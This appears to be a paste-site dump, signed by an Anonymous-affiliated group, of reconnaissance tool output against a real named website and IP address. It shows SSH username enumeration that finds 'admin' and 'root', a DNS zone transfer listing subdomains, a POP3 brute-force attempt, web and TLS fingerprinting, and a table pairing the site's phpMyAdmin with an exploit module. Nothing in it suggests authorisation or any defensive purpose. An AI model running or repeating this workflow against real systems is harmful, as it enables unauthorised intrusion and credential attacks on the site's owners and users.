- 11 109.36 ms if-ae-2-2.tcore1.av2-amsterdam.as6453.net (195.219.194.5)
- 12 109.69 ms if-ae-6-2.tcore1.fnm-frankfurt.as6453.net (195.219.194.150)
- 13 118.19 ms 195.219.50.38
- 14 109.36 ms 195.219.50.38
- 15 ... 16
- 17 124.58 ms no-reverse-dns-configured.com (80.82.64.193)
- #######################################################################################################################################
- USER_FILE => /usr/share/brutex/wordlists/simple-users.txt
- RHOSTS => www.liliana.artmodeling-studios.org
- RHOST => www.liliana.artmodeling-studios.org
- [*] 80.82.64.193:22 - SSH - Using malformed packet technique
- [*] 80.82.64.193:22 - SSH - Starting scan
- [+] 80.82.64.193:22 - SSH - User 'admin' found
- [-] 80.82.64.193:22 - SSH - User 'administrator' not found
- [-] 80.82.64.193:22 - SSH - User 'anonymous' not found
- [-] 80.82.64.193:22 - SSH - User 'backup' not found
- [-] 80.82.64.193:22 - SSH - User 'bee' not found
- [-] 80.82.64.193:22 - SSH - User 'ftp' not found
- [-] 80.82.64.193:22 - SSH - User 'guest' not found
- [-] 80.82.64.193:22 - SSH - User 'GUEST' not found
- [-] 80.82.64.193:22 - SSH - User 'info' not found
- [-] 80.82.64.193:22 - SSH - User 'mail' not found
- [-] 80.82.64.193:22 - SSH - User 'mailadmin' not found
- [-] 80.82.64.193:22 - SSH - User 'msfadmin' not found
- [-] 80.82.64.193:22 - SSH - User 'mysql' not found
- [-] 80.82.64.193:22 - SSH - User 'nobody' not found
- [-] 80.82.64.193:22 - SSH - User 'oracle' not found
- [-] 80.82.64.193:22 - SSH - User 'owaspbwa' not found
- [-] 80.82.64.193:22 - SSH - User 'postfix' not found
- [-] 80.82.64.193:22 - SSH - User 'postgres' not found
- [-] 80.82.64.193:22 - SSH - User 'private' not found
- [-] 80.82.64.193:22 - SSH - User 'proftpd' not found
- [-] 80.82.64.193:22 - SSH - User 'public' not found
- [+] 80.82.64.193:22 - SSH - User 'root' found
- [-] 80.82.64.193:22 - SSH - User 'superadmin' not found
- [-] 80.82.64.193:22 - SSH - User 'support' not found
- [-] 80.82.64.193:22 - SSH - User 'sys' not found
- [-] 80.82.64.193:22 - SSH - User 'system' not found
- [-] 80.82.64.193:22 - SSH - User 'systemadmin' not found
- [-] 80.82.64.193:22 - SSH - User 'systemadministrator' not found
- [-] 80.82.64.193:22 - SSH - User 'test' not found
- [-] 80.82.64.193:22 - SSH - User 'tomcat' not found
- [-] 80.82.64.193:22 - SSH - User 'user' not found
- [-] 80.82.64.193:22 - SSH - User 'webmaster' not found
- [-] 80.82.64.193:22 - SSH - User 'www-data' not found
- [-] 80.82.64.193:22 - SSH - User 'Fortimanager_Access' not found
- [*] Scanned 1 of 1 hosts (100% complete)
- [*] Auxiliary module execution completed
- #######################################################################################################################################
- Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 23:34 EDT
- Nmap scan report for www.liliana.artmodeling-studios.org (80.82.64.193)
- Host is up (0.12s latency).
- rDNS record for 80.82.64.193: no-reverse-dns-configured.com
- PORT STATE SERVICE VERSION
- 53/tcp open domain ISC BIND 9.9.4 (RedHat Enterprise Linux 7)
- |_dns-fuzz: Server didn't response to our probe, can't fuzz
- | dns-nsec-enum:
- |_ No NSEC records found
- | dns-nsec3-enum:
- |_ DNSSEC NSEC3 not supported
- | dns-nsid:
- |_ bind.version: 9.9.4-RedHat-9.9.4-61.el7
- | dns-zone-transfer:
- | artmodeling-studios.org. SOA ns1.webnamesonline.com. hostmaster.artmodeling-studios.org.
- | artmodeling-studios.org. MX 10 mail.artmodeling-studios.org.
- | artmodeling-studios.org. TXT "v=spf1 a mx ip4:80.82.64.110 ~all"
- | artmodeling-studios.org. NS ns1.webnamesonline.com.
- | artmodeling-studios.org. NS ns2.webnamesonline.com.
- | artmodeling-studios.org. A 80.82.64.193
- | bianka.artmodeling-studios.org. A 80.82.64.193
- | www.bianka.artmodeling-studios.org. A 80.82.64.193
- | cherish.artmodeling-studios.org. A 80.82.64.193
- | www.cherish.artmodeling-studios.org. A 80.82.64.193
- | cutie.artmodeling-studios.org. A 80.82.64.193
- | www.cutie.artmodeling-studios.org. A 80.82.64.193
- | darling.artmodeling-studios.org. A 80.82.64.193
- | www.darling.artmodeling-studios.org. A 80.82.64.193
- | forever.artmodeling-studios.org. A 80.82.64.193
- | www.forever.artmodeling-studios.org. A 80.82.64.193
- | ftp.artmodeling-studios.org. A 80.82.64.193
- | jozzy.artmodeling-studios.org. A 80.82.64.193
- | www.jozzy.artmodeling-studios.org. A 80.82.64.193
- | liliana.artmodeling-studios.org. A 80.82.64.193
- | www.liliana.artmodeling-studios.org. A 80.82.64.193
- | lolly.artmodeling-studios.org. A 80.82.64.193
- | www.lolly.artmodeling-studios.org. A 80.82.64.193
- | mail.artmodeling-studios.org. A 80.82.64.193
- | pop.artmodeling-studios.org. A 80.82.64.193
- | smtp.artmodeling-studios.org. A 80.82.64.193
- | sparkle.artmodeling-studios.org. A 80.82.64.193
- | www.sparkle.artmodeling-studios.org. A 80.82.64.193
- | stella.artmodeling-studios.org. A 80.82.64.193
- | www.stella.artmodeling-studios.org. A 80.82.64.193
- | store.artmodeling-studios.org. A 80.82.64.193
- | www.store.artmodeling-studios.org. A 80.82.64.193
- | sugar.artmodeling-studios.org. A 80.82.64.193
- | www.sugar.artmodeling-studios.org. A 80.82.64.193
- | trixie.artmodeling-studios.org. A 80.82.64.193
- | www.trixie.artmodeling-studios.org. A 80.82.64.193
- | www.artmodeling-studios.org. A 80.82.64.193
- |_artmodeling-studios.org. SOA ns1.webnamesonline.com. hostmaster.artmodeling-studios.org.
- Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
- Aggressive OS guesses: Linux 3.10 - 4.11 (95%), Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (94%), ASUS RT-N56U WAP (Linux 3.4) (94%), Oracle VM Server 3.4.2 (Linux 4.1) (92%), Linux 3.1 (92%), Linux 3.2 (92%), Linux 3.12 (92%), Linux 3.13 (92%)
- No exact OS matches for host (test conditions non-ideal).
- Network Distance: 16 hops
- Service Info: OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:7
- Host script results:
- | dns-blacklist:
- | SPAM
- |_ l2.apews.org - SPAM
- | dns-brute:
- | DNS Brute-force hostnames:
- |_ www.liliana.artmodeling-studios.org - 80.82.64.193
- TRACEROUTE (using port 53/tcp)
- HOP RTT ADDRESS
- 1 23.34 ms 10.247.200.1
- 2 23.67 ms vlan102.as02.qc1.ca.m247.com (176.113.74.17)
- 3 26.29 ms irb-0.agg1.qc1.ca.m247.com (37.120.128.168)
- 4 27.43 ms te-1-5-2-0.bb1.fra2.de.m247.com (82.102.29.44)
- 5 21.60 ms ix-xe-11-1-1-0.tcore1.w6c-montreal.as6453.net (66.198.96.98)
- 6 118.51 ms if-ae-12-2.tcore1.mtt-montreal.as6453.net (64.86.31.26)
- 7 119.20 ms if-ae-0-2.tcore2.mtt-montreal.as6453.net (216.6.115.90)
- 8 110.24 ms if-ae-5-2.tcore2.n0v-new-york.as6453.net (64.86.226.58)
- 9 120.89 ms if-ae-4-2.tcore2.l78-london.as6453.net (80.231.131.157)
- 10 110.39 ms if-ae-14-2.tcore2.av2-amsterdam.as6453.net (80.231.131.161)
- 11 110.23 ms if-ae-2-2.tcore1.av2-amsterdam.as6453.net (195.219.194.5)
- 12 119.22 ms if-ae-7-2.tcore1.fr0-frankfurt.as6453.net (195.219.50.1)
- 13 118.41 ms 195.219.50.38
- 14 125.01 ms ae5-10.RT.TC2.AMS.NL.retn.net (87.245.234.113)
- 15 ...
- 16 127.12 ms no-reverse-dns-configured.com (80.82.64.193)
- #######################################################################################################################################
- wig - WebApp Information Gatherer
- Scanning http://www.liliana.artmodeling-studios.org...
- _________________ SITE INFO _________________
- IP Title
- 80.82.64.193 Liliana MODEL - Welcome!
- __________________ VERSION __________________
- Name Versions Type
- Roundcube CMS
- phpMyAdmin CMS
- Apache 2 Platform
- PHP 5.4.45 Platform
- FreeBSD 10 | 11 OS
- OpenBSD 5.9 OS
- _____________________________________________
- Time: 0.9 sec Urls: 425 Fingerprints: 40401
- #######################################################################################################################################
- HTTP/1.1 200 OK
- Date: Wed, 03 Apr 2019 03:35:03 GMT
- Last-Modified: Tue, 18 Feb 2014 21:04:10 GMT
- ETag: "f54-4f2b49d10c680-gzip"
- Accept-Ranges: bytes
- Vary: Accept-Encoding,User-Agent
- Content-Encoding: gzip
- Content-Length: 1105
- Content-Type: text/html
- Connection: keep-alive
- HTTP/1.1 200 OK
- Date: Wed, 03 Apr 2019 03:35:03 GMT
- Last-Modified: Tue, 18 Feb 2014 21:04:10 GMT
- ETag: "f54-4f2b49d10c680-gzip"
- Accept-Ranges: bytes
- Vary: Accept-Encoding,User-Agent
- Content-Encoding: gzip
- Content-Length: 1105
- Content-Type: text/html
- Connection: keep-alive
- #######################################################################################################################################
- Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 23:35 EDT
- Nmap scan report for www.liliana.artmodeling-studios.org (80.82.64.193)
- Host is up (0.045s latency).
- rDNS record for 80.82.64.193: no-reverse-dns-configured.com
- PORT STATE SERVICE VERSION
- 110/tcp open pop3 Dovecot DirectAdmin pop3d
- | pop3-brute:
- | Accounts: No valid accounts found
- |_ Statistics: Performed 232 guesses in 191 seconds, average tps: 1.2
- |_pop3-capabilities: STLS USER SASL(PLAIN) RESP-CODES CAPA AUTH-RESP-CODE UIDL TOP PIPELINING
- Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
- Aggressive OS guesses: Linux 3.10 - 4.11 (95%), Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (94%), ASUS RT-N56U WAP (Linux 3.4) (94%), Oracle VM Server 3.4.2 (Linux 4.1) (92%), Linux 3.1 (92%), Linux 3.2 (92%), Linux 3.12 (92%), Linux 3.13 (92%)
- No exact OS matches for host (test conditions non-ideal).
- Network Distance: 1 hop
- TRACEROUTE (using port 80/tcp)
- HOP RTT ADDRESS
- 1 20.39 ms no-reverse-dns-configured.com (80.82.64.193)
- #######################################################################################################################################
- Version: 1.11.13-static
- OpenSSL 1.0.2-chacha (1.0.2g-dev)
- Connected to 80.82.64.193
- Testing SSL server www.liliana.artmodeling-studios.org on port 443 using SNI name www.liliana.artmodeling-studios.org
- TLS Fallback SCSV:
- Server supports TLS Fallback SCSV
- TLS renegotiation:
- Secure session renegotiation supported
- TLS Compression:
- Compression disabled
- Heartbleed:
- TLS 1.2 not vulnerable to heartbleed
- TLS 1.1 not vulnerable to heartbleed
- TLS 1.0 not vulnerable to heartbleed
- Supported Server Cipher(s):
- Preferred TLSv1.2 128 bits ECDHE-RSA-AES128-GCM-SHA256 Curve P-256 DHE 256
- Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384 Curve P-256 DHE 256
- Accepted TLSv1.2 128 bits DHE-RSA-AES128-GCM-SHA256 DHE 2048 bits
- Accepted TLSv1.2 256 bits DHE-RSA-AES256-GCM-SHA384 DHE 2048 bits
- Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-SHA256 Curve P-256 DHE 256
- Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
- Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA384 Curve P-256 DHE 256
- Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
- Accepted TLSv1.2 128 bits DHE-RSA-AES128-SHA256 DHE 2048 bits
- Accepted TLSv1.2 128 bits DHE-RSA-AES128-SHA DHE 2048 bits
- Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA256 DHE 2048 bits
- Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA DHE 2048 bits
- Accepted TLSv1.2 112 bits ECDHE-RSA-DES-CBC3-SHA Curve P-256 DHE 256
- Accepted TLSv1.2 128 bits AES128-GCM-SHA256
- Accepted TLSv1.2 256 bits AES256-GCM-SHA384
- Accepted TLSv1.2 128 bits AES128-SHA256
- Accepted TLSv1.2 256 bits AES256-SHA256
- Accepted TLSv1.2 128 bits AES128-SHA
- Accepted TLSv1.2 256 bits AES256-SHA
- Accepted TLSv1.2 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits
- Accepted TLSv1.2 256 bits CAMELLIA256-SHA
- Accepted TLSv1.2 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits
- Accepted TLSv1.2 128 bits CAMELLIA128-SHA
- Accepted TLSv1.2 112 bits DES-CBC3-SHA
- Preferred TLSv1.1 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
- Accepted TLSv1.1 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
- Accepted TLSv1.1 128 bits DHE-RSA-AES128-SHA DHE 2048 bits
- Accepted TLSv1.1 256 bits DHE-RSA-AES256-SHA DHE 2048 bits
- Accepted TLSv1.1 112 bits ECDHE-RSA-DES-CBC3-SHA Curve P-256 DHE 256
- Accepted TLSv1.1 128 bits AES128-SHA
- Accepted TLSv1.1 256 bits AES256-SHA
- Accepted TLSv1.1 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits
- Accepted TLSv1.1 256 bits CAMELLIA256-SHA
- Accepted TLSv1.1 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits
- Accepted TLSv1.1 128 bits CAMELLIA128-SHA
- Accepted TLSv1.1 112 bits DES-CBC3-SHA
- Preferred TLSv1.0 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
- Accepted TLSv1.0 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
- Accepted TLSv1.0 128 bits DHE-RSA-AES128-SHA DHE 2048 bits
- Accepted TLSv1.0 256 bits DHE-RSA-AES256-SHA DHE 2048 bits
- Accepted TLSv1.0 112 bits ECDHE-RSA-DES-CBC3-SHA Curve P-256 DHE 256
- Accepted TLSv1.0 128 bits AES128-SHA
- Accepted TLSv1.0 256 bits AES256-SHA
- Accepted TLSv1.0 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits
- Accepted TLSv1.0 256 bits CAMELLIA256-SHA
- Accepted TLSv1.0 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits
- Accepted TLSv1.0 128 bits CAMELLIA128-SHA
- Accepted TLSv1.0 112 bits DES-CBC3-SHA
- SSL Certificate:
- Signature Algorithm: sha256WithRSAEncryption
- RSA Key Strength: 2048
- Subject: localhost
- Issuer: localhost
- Not valid before: Jul 6 22:09:29 2018 GMT
- Not valid after: Nov 20 22:09:29 2045 GMT
- #######################################################################################################################################
- --------------------------------------------------------
- <<<Yasuo discovered following vulnerable applications>>>
- --------------------------------------------------------
- +------------+------------------------------------+--------------------------------------------------+-----------+-----------+
- | App Name | URL to Application | Potential Exploit | Username | Password |
- +------------+------------------------------------+--------------------------------------------------+-----------+-----------+
- | phpMyAdmin | http://80.82.64.193:80/phpmyadmin/ | ./exploits/multi/http/phpmyadmin_preg_replace.rb | Not Found | Not Found |
- +------------+------------------------------------+--------------------------------------------------+-----------+-----------+
- #######################################################################################################################################
- Anonymous JTSEC #OpDeathEathers Full Recon #1
Advertisement
Add Comment
Please, Sign In to add comment